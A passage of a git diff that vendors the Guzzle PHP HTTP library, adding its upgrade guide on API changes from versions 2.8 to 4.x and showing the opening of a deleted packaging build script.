itself + the first time it is invoked. +- Use the `listeners()` method to retrieve a list of event listeners rather than + the `getListeners()` method. +- Use `emit()` instead of `dispatch()` to emit an event from an emitter. +- Use `attach()` instead of `addSubscriber()` and `detach()` instead of + `removeSubscriber()`. + +```php +$mock = new Mock(); +// 3.x +$request->getEventDispatcher()->addSubscriber($mock); +$request->getEventDispatcher()->removeSubscriber($mock); +// 4.x +$request->getEmitter()->attach($mock); +$request->getEmitter()->detach($mock); +``` + +Use the `on()` method to add a listener rather than the `addListener()` method. + +```php +// 3.x +$request->getEventDispatcher()->addListener('foo', function (Event $event) { /* ... */ } ); +// 4.x +$request->getEmitter()->on('foo', function (Event $event, $name) { /* ... */ } ); +``` + +## Http + +### General changes + +- The cacert.pem certificate has been moved to `src/cacert.pem`. +- Added the concept of adapters that are used to transfer requests over the + wire. +- Simplified the event system. +- Sending requests in parallel is still possible, but batching is no longer a + concept of the HTTP layer. Instead, you must use the `complete` and `error` + events to asynchronously manage parallel request transfers. +- `Guzzle\Http\Url` has moved to `GuzzleHttp\Url`. +- `Guzzle\Http\QueryString` has moved to `GuzzleHttp\Query`. +- QueryAggregators have been rewritten so that they are simply callable + functions. +- `GuzzleHttp\StaticClient` has been removed. Use the functions provided in + `functions.php` for an easy to use static client instance. +- Exceptions in `GuzzleHttp\Exception` have been updated to all extend from + `GuzzleHttp\Exception\TransferException`. + +### Client + +Calling methods like `get()`, `post()`, `head()`, etc. no longer create and +return a request, but rather creates a request, sends the request, and returns +the response. + +```php +// 3.0 +$request = $client->get('/'); +$response = $request->send(); + +// 4.0 +$response = $client->get('/'); + +// or, to mirror the previous behavior +$request = $client->createRequest('GET', '/'); +$response = $client->send($request); +``` + +`GuzzleHttp\ClientInterface` has changed. + +- The `send` method no longer accepts more than one request. Use `sendAll` to + send multiple requests in parallel. +- `setUserAgent()` has been removed. Use a default request option instead. You + could, for example, do something like: + `$client->setConfig('defaults/headers/User-Agent', 'Foo/Bar ' . $client::getDefaultUserAgent())`. +- `setSslVerification()` has been removed. Use default request options instead, + like `$client->setConfig('defaults/verify', true)`. + +`GuzzleHttp\Client` has changed. + +- The constructor now accepts only an associative array. You can include a + `base_url` string or array to use a URI template as the base URL of a client. + You can also specify a `defaults` key that is an associative array of default + request options. You can pass an `adapter` to use a custom adapter, + `batch_adapter` to use a custom adapter for sending requests in parallel, or + a `message_factory` to change the factory used to create HTTP requests and + responses. +- The client no longer emits a `client.create_request` event. +- Creating requests with a client no longer automatically utilize a URI + template. You must pass an array into a creational method (e.g., + `createRequest`, `get`, `put`, etc.) in order to expand a URI template. + +### Messages + +Messages no longer have references to their counterparts (i.e., a request no +longer has a reference to it's response, and a response no loger has a +reference to its request). This association is now managed through a +`GuzzleHttp\Adapter\TransactionInterface` object. You can get references to +these transaction objects using request events that are emitted over the +lifecycle of a request. + +#### Requests with a body + +- `GuzzleHttp\Message\EntityEnclosingRequest` and + `GuzzleHttp\Message\EntityEnclosingRequestInterface` have been removed. The + separation between requests that contain a body and requests that do not + contain a body has been removed, and now `GuzzleHttp\Message\RequestInterface` + handles both use cases. +- Any method that previously accepts a `GuzzleHttp\Response` object now accept a + `GuzzleHttp\Message\ResponseInterface`. +- `GuzzleHttp\Message\RequestFactoryInterface` has been renamed to + `GuzzleHttp\Message\MessageFactoryInterface`. This interface is used to create + both requests and responses and is implemented in + `GuzzleHttp\Message\MessageFactory`. +- POST field and file methods have been removed from the request object. You + must now use the methods made available to `GuzzleHttp\Post\PostBodyInterface` + to control the format of a POST body. Requests that are created using a + standard `GuzzleHttp\Message\MessageFactoryInterface` will automatically use + a `GuzzleHttp\Post\PostBody` body if the body was passed as an array or if + the method is POST and no body is provided. + +```php +$request = $client->createRequest('POST', '/'); +$request->getBody()->setField('foo', 'bar'); +$request->getBody()->addFile(new PostFile('file_key', fopen('/path/to/content', 'r'))); +``` + +#### Headers + +- `GuzzleHttp\Message\Header` has been removed. Header values are now simply + represented by an array of values or as a string. Header values are returned + as a string by default when retrieving a header value from a message. You can + pass an optional argument of `true` to retrieve a header value as an array + of strings instead of a single concatenated string. +- `GuzzleHttp\PostFile` and `GuzzleHttp\PostFileInterface` have been moved to + `GuzzleHttp\Post`. This interface has been simplified and now allows the + addition of arbitrary headers. +- Custom headers like `GuzzleHttp\Message\Header\Link` have been removed. Most + of the custom headers are now handled separately in specific + subscribers/plugins, and `GuzzleHttp\Message\HeaderValues::parseParams()` has + been updated to properly handle headers that contain parameters (like the + `Link` header). + +#### Responses + +- `GuzzleHttp\Message\Response::getInfo()` and + `GuzzleHttp\Message\Response::setInfo()` have been removed. Use the event + system to retrieve this type of information. +- `GuzzleHttp\Message\Response::getRawHeaders()` has been removed. +- `GuzzleHttp\Message\Response::getMessage()` has been removed. +- `GuzzleHttp\Message\Response::calculateAge()` and other cache specific + methods have moved to the CacheSubscriber. +- Header specific helper functions like `getContentMd5()` have been removed. + Just use `getHeader('Content-MD5')` instead. +- `GuzzleHttp\Message\Response::setRequest()` and + `GuzzleHttp\Message\Response::getRequest()` have been removed. Use the event + system to work with request and response objects as a transaction. +- `GuzzleHttp\Message\Response::getRedirectCount()` has been removed. Use the + Redirect subscriber instead. +- `GuzzleHttp\Message\Response::isSuccessful()` and other related methods have + been removed. Use `getStatusCode()` instead. + +#### Streaming responses + +Streaming requests can now be created by a client directly, returning a +`GuzzleHttp\Message\ResponseInterface` object that contains a body stream +referencing an open PHP HTTP stream. + +```php +// 3.0 +use Guzzle\Stream\PhpStreamRequestFactory; +$request = $client->get('/'); +$factory = new PhpStreamRequestFactory(); +$stream = $factory->fromRequest($request); +$data = $stream->read(1024); + +// 4.0 +$response = $client->get('/', ['stream' => true]); +// Read some data off of the stream in the response body +$data = $response->getBody()->read(1024); +``` + +#### Redirects + +The `configureRedirects()` method has been removed in favor of a +`allow_redirects` request option. + +```php +// Standard redirects with a default of a max of 5 redirects +$request = $client->createRequest('GET', '/', ['allow_redirects' => true]); + +// Strict redirects with a custom number of redirects +$request = $client->createRequest('GET', '/', [ + 'allow_redirects' => ['max' => 5, 'strict' => true] +]); +``` + +#### EntityBody + +EntityBody interfaces and classes have been removed or moved to +`GuzzleHttp\Stream`. All classes and interfaces that once required +`GuzzleHttp\EntityBodyInterface` now require +`GuzzleHttp\Stream\StreamInterface`. Creating a new body for a request no +longer uses `GuzzleHttp\EntityBody::factory` but now uses +`GuzzleHttp\Stream\Stream::factory` or even better: +`GuzzleHttp\Stream\create()`. + +- `Guzzle\Http\EntityBodyInterface` is now `GuzzleHttp\Stream\StreamInterface` +- `Guzzle\Http\EntityBody` is now `GuzzleHttp\Stream\Stream` +- `Guzzle\Http\CachingEntityBody` is now `GuzzleHttp\Stream\CachingStream` +- `Guzzle\Http\ReadLimitEntityBody` is now `GuzzleHttp\Stream\LimitStream` +- `Guzzle\Http\IoEmittyinEntityBody` has been removed. + +#### Request lifecycle events + +Requests previously submitted a large number of requests. The number of events +emitted over the lifecycle of a request has been significantly reduced to make +it easier to understand how to extend the behavior of a request. All events +emitted during the lifecycle of a request now emit a custom +`GuzzleHttp\Event\EventInterface` object that contains context providing +methods and a way in which to modify the transaction at that specific point in +time (e.g., intercept the request and set a response on the transaction). + +- `request.before_send` has been renamed to `before` and now emits a + `GuzzleHttp\Event\BeforeEvent` +- `request.complete` has been renamed to `complete` and now emits a + `GuzzleHttp\Event\CompleteEvent`. +- `request.sent` has been removed. Use `complete`. +- `request.success` has been removed. Use `complete`. +- `error` is now an event that emits a `GuzzleHttp\Event\ErrorEvent`. +- `request.exception` has been removed. Use `error`. +- `request.receive.status_line` has been removed. +- `curl.callback.progress` has been removed. Use a custom `StreamInterface` to + maintain a status update. +- `curl.callback.write` has been removed. Use a custom `StreamInterface` to + intercept writes. +- `curl.callback.read` has been removed. Use a custom `StreamInterface` to + intercept reads. + +`headers` is a new event that is emitted after the response headers of a +request have been received before the body of the response is downloaded. This +event emits a `GuzzleHttp\Event\HeadersEvent`. + +You can intercept a request and inject a response using the `intercept()` event +of a `GuzzleHttp\Event\BeforeEvent`, `GuzzleHttp\Event\CompleteEvent`, and +`GuzzleHttp\Event\ErrorEvent` event. + +See: http://docs.guzzlephp.org/en/latest/events.html + +## Inflection + +The `Guzzle\Inflection` namespace has been removed. This is not a core concern +of Guzzle. + +## Iterator + +The `Guzzle\Iterator` namespace has been removed. + +- `Guzzle\Iterator\AppendIterator`, `Guzzle\Iterator\ChunkedIterator`, and + `Guzzle\Iterator\MethodProxyIterator` are nice, but not a core requirement of + Guzzle itself. +- `Guzzle\Iterator\FilterIterator` is no longer needed because an equivalent + class is shipped with PHP 5.4. +- `Guzzle\Iterator\MapIterator` is not really needed when using PHP 5.5 because + it's easier to just wrap an iterator in a generator that maps values. + +For a replacement of these iterators, see https://github.com/nikic/iter + +## Log + +The LogPlugin has moved to https://github.com/guzzle/log-subscriber. The +`Guzzle\Log` namespace has been removed. Guzzle now relies on +`Psr\Log\LoggerInterface` for all logging. The MessageFormatter class has been +moved to `GuzzleHttp\Subscriber\Log\Formatter`. + +## Parser + +The `Guzzle\Parser` namespace has been removed. This was previously used to +make it possible to plug in custom parsers for cookies, messages, URI +templates, and URLs; however, this level of complexity is not needed in Guzzle +so it has been removed. + +- Cookie: Cookie parsing logic has been moved to + `GuzzleHttp\Cookie\SetCookie::fromString`. +- Message: Message parsing logic for both requests and responses has been moved + to `GuzzleHttp\Message\MessageFactory::fromMessage`. Message parsing is only + used in debugging or deserializing messages, so it doesn't make sense for + Guzzle as a library to add this level of complexity to parsing messages. +- UriTemplate: URI template parsing has been moved to + `GuzzleHttp\UriTemplate`. The Guzzle library will automatically use the PECL + URI template library if it is installed. +- Url: URL parsing is now performed in `GuzzleHttp\Url::fromString` (previously + it was `Guzzle\Http\Url::factory()`). If custom URL parsing is necessary, + then developers are free to subclass `GuzzleHttp\Url`. + +## Plugin + +The `Guzzle\Plugin` namespace has been renamed to `GuzzleHttp\Subscriber`. +Several plugins are shipping with the core Guzzle library under this namespace. + +- `GuzzleHttp\Subscriber\Cookie`: Replaces the old CookiePlugin. Cookie jar + code has moved to `GuzzleHttp\Cookie`. +- `GuzzleHttp\Subscriber\History`: Replaces the old HistoryPlugin. +- `GuzzleHttp\Subscriber\HttpError`: Throws errors when a bad HTTP response is + received. +- `GuzzleHttp\Subscriber\Mock`: Replaces the old MockPlugin. +- `GuzzleHttp\Subscriber\Prepare`: Prepares the body of a request just before + sending. This subscriber is attached to all requests by default. +- `GuzzleHttp\Subscriber\Redirect`: Replaces the RedirectPlugin. + +The following plugins have been removed (third-parties are free to re-implement +these if needed): + +- `GuzzleHttp\Plugin\Async` has been removed. +- `GuzzleHttp\Plugin\CurlAuth` has been removed. +- `GuzzleHttp\Plugin\ErrorResponse\ErrorResponsePlugin` has been removed. This + functionality should instead be implemented with event listeners that occur + after normal response parsing occurs in the guzzle/command package. + +The following plugins are not part of the core Guzzle package, but are provided +in separate repositories: + +- `Guzzle\Http\Plugin\BackoffPlugin` has been rewritten to be much simpler + to build custom retry policies using simple functions rather than various + chained classes. See: https://github.com/guzzle/retry-subscriber +- `Guzzle\Http\Plugin\Cache\CachePlugin` has moved to + https://github.com/guzzle/cache-subscriber +- `Guzzle\Http\Plugin\Log\LogPlugin` has moved to + https://github.com/guzzle/log-subscriber +- `Guzzle\Http\Plugin\Md5\Md5Plugin` has moved to + https://github.com/guzzle/message-integrity-subscriber +- `Guzzle\Http\Plugin\Mock\MockPlugin` has moved to + `GuzzleHttp\Subscriber\MockSubscriber`. +- `Guzzle\Http\Plugin\Oauth\OauthPlugin` has moved to + https://github.com/guzzle/oauth-subscriber + +## Service + +The service description layer of Guzzle has moved into two separate packages: + +- http://github.com/guzzle/command Provides a high level abstraction over web + services by representing web service operations using commands. +- http://github.com/guzzle/guzzle-services Provides an implementation of + guzzle/command that provides request serialization and response parsing using + Guzzle service descriptions. + +## Stream + +Stream have moved to a separate package available at +https://github.com/guzzle/streams. + +`Guzzle\Stream\StreamInterface` has been given a large update to cleanly take +on the responsibilities of `Guzzle\Http\EntityBody` and +`Guzzle\Http\EntityBodyInterface` now that they have been removed. The number +of methods implemented by the `StreamInterface` has been drastically reduced to +allow developers to more easily extend and decorate stream behavior. + +## Removed methods from StreamInterface + +- `getStream` and `setStream` have been removed to better encapsulate streams. +- `getMetadata` and `setMetadata` have been removed in favor of + `GuzzleHttp\Stream\MetadataStreamInterface`. +- `getWrapper`, `getWrapperData`, `getStreamType`, and `getUri` have all been + removed. This data is accessible when + using streams that implement `GuzzleHttp\Stream\MetadataStreamInterface`. +- `rewind` has been removed. Use `seek(0)` for a similar behavior. + +## Renamed methods + +- `detachStream` has been renamed to `detach`. +- `feof` has been renamed to `eof`. +- `ftell` has been renamed to `tell`. +- `readLine` has moved from an instance method to a static class method of + `GuzzleHttp\Stream\Stream`. + +## Metadata streams + +`GuzzleHttp\Stream\MetadataStreamInterface` has been added to denote streams +that contain additional metadata accessible via `getMetadata()`. +`GuzzleHttp\Stream\StreamInterface::getMetadata` and +`GuzzleHttp\Stream\StreamInterface::setMetadata` have been removed. + +## StreamRequestFactory + +The entire concept of the StreamRequestFactory has been removed. The way this +was used in Guzzle 3 broke the actual interface of sending streaming requests +(instead of getting back a Response, you got a StreamInterface). Streaming +PHP requests are now implemented through the `GuzzleHttp\Adapter\StreamAdapter`. + +3.6 to 3.7 +---------- + +### Deprecations + +- You can now enable E_USER_DEPRECATED warnings to see if you are using any deprecated methods.: + +```php +\Guzzle\Common\Version::$emitWarnings = true; +``` + +The following APIs and options have been marked as deprecated: + +- Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use `$request->getResponseBody()->isRepeatable()` instead. +- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +- Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. +- Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead. +- Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead. +- Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated +- Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client. +- Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8. +- Marked `Guzzle\Common\Collection::inject()` as deprecated. +- Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use + `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));` or + `$client->setDefaultOption('auth', array('user', 'pass', 'Basic|Digest|NTLM|Any'));` + +3.7 introduces `request.options` as a parameter for a client configuration and as an optional argument to all creational +request methods. When paired with a client's configuration settings, these options allow you to specify default settings +for various aspects of a request. Because these options make other previous configuration options redundant, several +configuration options and methods of a client and AbstractCommand have been deprecated. + +- Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use `$client->getDefaultOption('headers')`. +- Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use `$client->setDefaultOption('headers/{header_name}', 'value')`. +- Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use `$client->setDefaultOption('params/{param_name}', 'value')` +- Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand. These will work through Guzzle 4.0 + + $command = $client->getCommand('foo', array( + 'command.headers' => array('Test' => '123'), + 'command.response_body' => '/path/to/file' + )); + + // Should be changed to: + + $command = $client->getCommand('foo', array( + 'command.request_options' => array( + 'headers' => array('Test' => '123'), + 'save_as' => '/path/to/file' + ) + )); + +### Interface changes + +Additions and changes (you will need to update any implementations or subclasses you may have created): + +- Added an `$options` argument to the end of the following methods of `Guzzle\Http\ClientInterface`: + createRequest, head, delete, put, patch, post, options, prepareRequest +- Added an `$options` argument to the end of `Guzzle\Http\Message\Request\RequestFactoryInterface::createRequest()` +- Added an `applyOptions()` method to `Guzzle\Http\Message\Request\RequestFactoryInterface` +- Changed `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $body = null)` to + `Guzzle\Http\ClientInterface::get($uri = null, $headers = null, $options = array())`. You can still pass in a + resource, string, or EntityBody into the $options parameter to specify the download location of the response. +- Changed `Guzzle\Common\Collection::__construct($data)` to no longer accepts a null value for `$data` but a + default `array()` +- Added `Guzzle\Stream\StreamInterface::isRepeatable` +- Made `Guzzle\Http\Client::expandTemplate` and `getUriTemplate` protected methods. + +The following methods were removed from interfaces. All of these methods are still available in the concrete classes +that implement them, but you should update your code to use alternative methods: + +- Removed `Guzzle\Http\ClientInterface::setDefaultHeaders(). Use + `$client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. or + `$client->getConfig()->setPath('request.options/headers', array('header_name' => 'value'))` or + `$client->setDefaultOption('headers/{header_name}', 'value')`. or + `$client->setDefaultOption('headers', array('header_name' => 'value'))`. +- Removed `Guzzle\Http\ClientInterface::getDefaultHeaders(). Use `$client->getConfig()->getPath('request.options/headers')`. +- Removed `Guzzle\Http\ClientInterface::expandTemplate()`. This is an implementation detail. +- Removed `Guzzle\Http\ClientInterface::setRequestFactory()`. This is an implementation detail. +- Removed `Guzzle\Http\ClientInterface::getCurlMulti()`. This is a very specific implementation detail. +- Removed `Guzzle\Http\Message\RequestInterface::canCache`. Use the CachePlugin. +- Removed `Guzzle\Http\Message\RequestInterface::setIsRedirect`. Use the HistoryPlugin. +- Removed `Guzzle\Http\Message\RequestInterface::isRedirect`. Use the HistoryPlugin. + +### Cache plugin breaking changes + +- CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a + CacheStorageInterface. These two objects and interface will be removed in a future version. +- Always setting X-cache headers on cached responses +- Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin +- `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface + $request, Response $response);` +- `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);` +- `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);` +- Added `CacheStorageInterface::purge($url)` +- `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin + $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache, + CanCacheStrategyInterface $canCache = null)` +- Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)` + +3.5 to 3.6 +---------- + +* Mixed casing of headers are now forced to be a single consistent casing across all values for that header. +* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution +* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader(). + For example, setHeader() first removes the header using unset on a HeaderCollection and then calls addHeader(). + Keeping the Host header and URL host in sync is now handled by overriding the addHeader method in Request. +* Specific header implementations can be created for complex headers. When a message creates a header, it uses a + HeaderFactory which can map specific headers to specific header classes. There is now a Link header and + CacheControl header implementation. +* Moved getLinks() from Response to just be used on a Link header object. + +If you previously relied on Guzzle\Http\Message\Header::raw(), then you will need to update your code to use the +HeaderInterface (e.g. toArray(), getAll(), etc.). + +### Interface changes + +* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate +* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti() +* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in + Guzzle\Http\Curl\RequestMediator +* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string. +* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface +* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders() + +### Removed deprecated functions + +* Removed Guzzle\Parser\ParserRegister::get(). Use getParser() +* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser(). + +### Deprecations + +* The ability to case-insensitively search for header values +* Guzzle\Http\Message\Header::hasExactHeader +* Guzzle\Http\Message\Header::raw. Use getAll() +* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object + instead. + +### Other changes + +* All response header helper functions return a string rather than mixing Header objects and strings inconsistently +* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle + directly via interfaces +* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist + but are a no-op until removed. +* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a + `Guzzle\Service\Command\ArrayCommandInterface`. +* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response + on a request while the request is still being transferred +* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess + +3.3 to 3.4 +---------- + +Base URLs of a client now follow the rules of http://tools.ietf.org/html/rfc3986#section-5.2.2 when merging URLs. + +3.2 to 3.3 +---------- + +### Response::getEtag() quote stripping removed + +`Guzzle\Http\Message\Response::getEtag()` no longer strips quotes around the ETag response header + +### Removed `Guzzle\Http\Utils` + +The `Guzzle\Http\Utils` class was removed. This class was only used for testing. + +### Stream wrapper and type + +`Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getStreamType()` are no longer converted to lowercase. + +### curl.emit_io became emit_io + +Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using the +'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io' + +3.1 to 3.2 +---------- + +### CurlMulti is no longer reused globally + +Before 3.2, the same CurlMulti object was reused globally for each client. This can cause issue where plugins added +to a single client can pollute requests dispatched from other clients. + +If you still wish to reuse the same CurlMulti object with each client, then you can add a listener to the +ServiceBuilder's `service_builder.create_client` event to inject a custom CurlMulti object into each client as it is +created. + +```php +$multi = new Guzzle\Http\Curl\CurlMulti(); +$builder = Guzzle\Service\Builder\ServiceBuilder::factory('/path/to/config.json'); +$builder->addListener('service_builder.create_client', function ($event) use ($multi) { + $event['client']->setCurlMulti($multi); +} +}); +``` + +### No default path + +URLs no longer have a default path value of '/' if no path was specified. + +Before: + +```php +$request = $client->get('http://www.foo.com'); +echo $request->getUrl(); +// >> http://www.foo.com/ +``` + +After: + +```php +$request = $client->get('http://www.foo.com'); +echo $request->getUrl(); +// >> http://www.foo.com +``` + +### Less verbose BadResponseException + +The exception message for `Guzzle\Http\Exception\BadResponseException` no longer contains the full HTTP request and +response information. You can, however, get access to the request and response object by calling `getRequest()` or +`getResponse()` on the exception object. + +### Query parameter aggregation + +Multi-valued query parameters are no longer aggregated using a callback function. `Guzzle\Http\Query` now has a +setAggregator() method that accepts a `Guzzle\Http\QueryAggregator\QueryAggregatorInterface` object. This object is +responsible for handling the aggregation of multi-valued query string variables into a flattened hash. + +2.8 to 3.x +---------- + +### Guzzle\Service\Inspector + +Change `\Guzzle\Service\Inspector::fromConfig` to `\Guzzle\Common\Collection::fromConfig` + +**Before** + +```php +use Guzzle\Service\Inspector; + +class YourClient extends \Guzzle\Service\Client +{ + public static function factory($config = array()) + { + $default = array(); + $required = array('base_url', 'username', 'api_key'); + $config = Inspector::fromConfig($config, $default, $required); + + $client = new self( + $config->get('base_url'), + $config->get('username'), + $config->get('api_key') + ); + $client->setConfig($config); + + $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json')); + + return $client; + } +``` + +**After** + +```php +use Guzzle\Common\Collection; + +class YourClient extends \Guzzle\Service\Client +{ + public static function factory($config = array()) + { + $default = array(); + $required = array('base_url', 'username', 'api_key'); + $config = Collection::fromConfig($config, $default, $required); + + $client = new self( + $config->get('base_url'), + $config->get('username'), + $config->get('api_key') + ); + $client->setConfig($config); + + $client->setDescription(ServiceDescription::factory(__DIR__ . DIRECTORY_SEPARATOR . 'client.json')); + + return $client; + } +``` + +### Convert XML Service Descriptions to JSON + +**Before** + +```xml + + + + + + Get a list of groups + + + Uses a search query to get a list of groups + + + + Create a group + + + + + Delete a group by ID + + + + + + + Update a group + + + + + + +``` + +**After** + +```json +{ + "name": "Zendesk REST API v2", + "apiVersion": "2012-12-31", + "description":"Provides access to Zendesk views, groups, tickets, ticket fields, and users", + "operations": { + "list_groups": { + "httpMethod":"GET", + "uri": "groups.json", + "summary": "Get a list of groups" + }, + "search_groups":{ + "httpMethod":"GET", + "uri": "search.json?query=\"{query} type:group\"", + "summary": "Uses a search query to get a list of groups", + "parameters":{ + "query":{ + "location": "uri", + "description":"Zendesk Search Query", + "type": "string", + "required": true + } + } + }, + "create_group": { + "httpMethod":"POST", + "uri": "groups.json", + "summary": "Create a group", + "parameters":{ + "data": { + "type": "array", + "location": "body", + "description":"Group JSON", + "filters": "json_encode", + "required": true + }, + "Content-Type":{ + "type": "string", + "location":"header", + "static": "application/json" + } + } + }, + "delete_group": { + "httpMethod":"DELETE", + "uri": "groups/{id}.json", + "summary": "Delete a group", + "parameters":{ + "id":{ + "location": "uri", + "description":"Group to delete by ID", + "type": "integer", + "required": true + } + } + }, + "get_group": { + "httpMethod":"GET", + "uri": "groups/{id}.json", + "summary": "Get a ticket", + "parameters":{ + "id":{ + "location": "uri", + "description":"Group to get by ID", + "type": "integer", + "required": true + } + } + }, + "update_group": { + "httpMethod":"PUT", + "uri": "groups/{id}.json", + "summary": "Update a group", + "parameters":{ + "id": { + "location": "uri", + "description":"Group to update by ID", + "type": "integer", + "required": true + }, + "data": { + "type": "array", + "location": "body", + "description":"Group JSON", + "filters": "json_encode", + "required": true + }, + "Content-Type":{ + "type": "string", + "location":"header", + "static": "application/json" + } + } + } +} +``` + +### Guzzle\Service\Description\ServiceDescription + +Commands are now called Operations + +**Before** + +```php +use Guzzle\Service\Description\ServiceDescription; + +$sd = new ServiceDescription(); +$sd->getCommands(); // @returns ApiCommandInterface[] +$sd->hasCommand($name); +$sd->getCommand($name); // @returns ApiCommandInterface|null +$sd->addCommand($command); // @param ApiCommandInterface $command +``` + +**After** + +```php +use Guzzle\Service\Description\ServiceDescription; + +$sd = new ServiceDescription(); +$sd->getOperations(); // @returns OperationInterface[] +$sd->hasOperation($name); +$sd->getOperation($name); // @returns OperationInterface|null +$sd->addOperation($operation); // @param OperationInterface $operation +``` + +### Guzzle\Common\Inflection\Inflector + +Namespace is now `Guzzle\Inflection\Inflector` + +### Guzzle\Http\Plugin + +Namespace is now `Guzzle\Plugin`. Many other changes occur within this namespace and are detailed in their own sections below. + +### Guzzle\Http\Plugin\LogPlugin and Guzzle\Common\Log + +Now `Guzzle\Plugin\Log\LogPlugin` and `Guzzle\Log` respectively. + +**Before** + +```php +use Guzzle\Common\Log\ClosureLogAdapter; +use Guzzle\Http\Plugin\LogPlugin; + +/** @var \Guzzle\Http\Client */ +$client; + +// $verbosity is an integer indicating desired message verbosity level +$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $verbosity = LogPlugin::LOG_VERBOSE); +``` + +**After** + +```php +use Guzzle\Log\ClosureLogAdapter; +use Guzzle\Log\MessageFormatter; +use Guzzle\Plugin\Log\LogPlugin; + +/** @var \Guzzle\Http\Client */ +$client; + +// $format is a string indicating desired message format -- @see MessageFormatter +$client->addSubscriber(new LogPlugin(new ClosureLogAdapter(function($m) { echo $m; }, $format = MessageFormatter::DEBUG_FORMAT); +``` + +### Guzzle\Http\Plugin\CurlAuthPlugin + +Now `Guzzle\Plugin\CurlAuth\CurlAuthPlugin`. + +### Guzzle\Http\Plugin\ExponentialBackoffPlugin + +Now `Guzzle\Plugin\Backoff\BackoffPlugin`, and other changes. + +**Before** + +```php +use Guzzle\Http\Plugin\ExponentialBackoffPlugin; + +$backoffPlugin = new ExponentialBackoffPlugin($maxRetries, array_merge( + ExponentialBackoffPlugin::getDefaultFailureCodes(), array(429) + )); + +$client->addSubscriber($backoffPlugin); +``` + +**After** + +```php +use Guzzle\Plugin\Backoff\BackoffPlugin; +use Guzzle\Plugin\Backoff\HttpBackoffStrategy; + +// Use convenient factory method instead -- see implementation for ideas of what +// you can do with chaining backoff strategies +$backoffPlugin = BackoffPlugin::getExponentialBackoff($maxRetries, array_merge( + HttpBackoffStrategy::getDefaultFailureCodes(), array(429) + )); +$client->addSubscriber($backoffPlugin); +``` + +### Known Issues + +#### [BUG] Accept-Encoding header behavior changed unintentionally. + +(See #217) (Fixed in 09daeb8c666fb44499a0646d655a8ae36456575e) + +In version 2.8 setting the `Accept-Encoding` header would set the CURLOPT_ENCODING option, which permitted cURL to +properly handle gzip/deflate compressed responses from the server. In versions affected by this bug this does not happen. +See issue #217 for a workaround, or use a version containing the fix. diff --git a/vendor/guzzlehttp/guzzle/build/Burgomaster.php b/vendor/guzzlehttp/guzzle/build/Burgomaster.php deleted file mode 100644 index dcc6b99c93..0000000000 --- a/vendor/guzzlehttp/guzzle/build/Burgomaster.php +++ /dev/null @@ -1,385 +0,0 @@ -startSection('setting_up'); - $this->stageDir = $stageDir; - $this->projectRoot = $projectRoot; - - if (!$this->stageDir || $this->stageDir == '/') { - throw new \InvalidArgumentException('Invalid base directory'); - } - - if (is_dir($this->stageDir)) { - $this->debug("Removing existing directory: $this->stageDir"); - echo $this->exec("rm -rf $this->stageDir"); - } - - $this->debug("Creating staging directory: $this->stageDir"); - - if (!mkdir($this->stageDir, 0777, true)) { - throw new \RuntimeException("Could not create {$this->stageDir}"); - } - - $this->stageDir = realpath($this->stageDir); - $this->debug("Creating staging directory at: {$this->stageDir}"); - - if (!is_dir($this->projectRoot)) { - throw new \InvalidArgumentException( - "Project root not found: $this->projectRoot" - ); - } - - $this->endSection(); - $this->startSection('staging'); - - chdir($this->projectRoot); - } - - /** - * Cleanup if the last section was not already closed. - */ - public function __destruct() - { - if ($this->sections) { - $this->endSection(); - } - } - - /** - * Call this method when starting a specific section of the packager. - 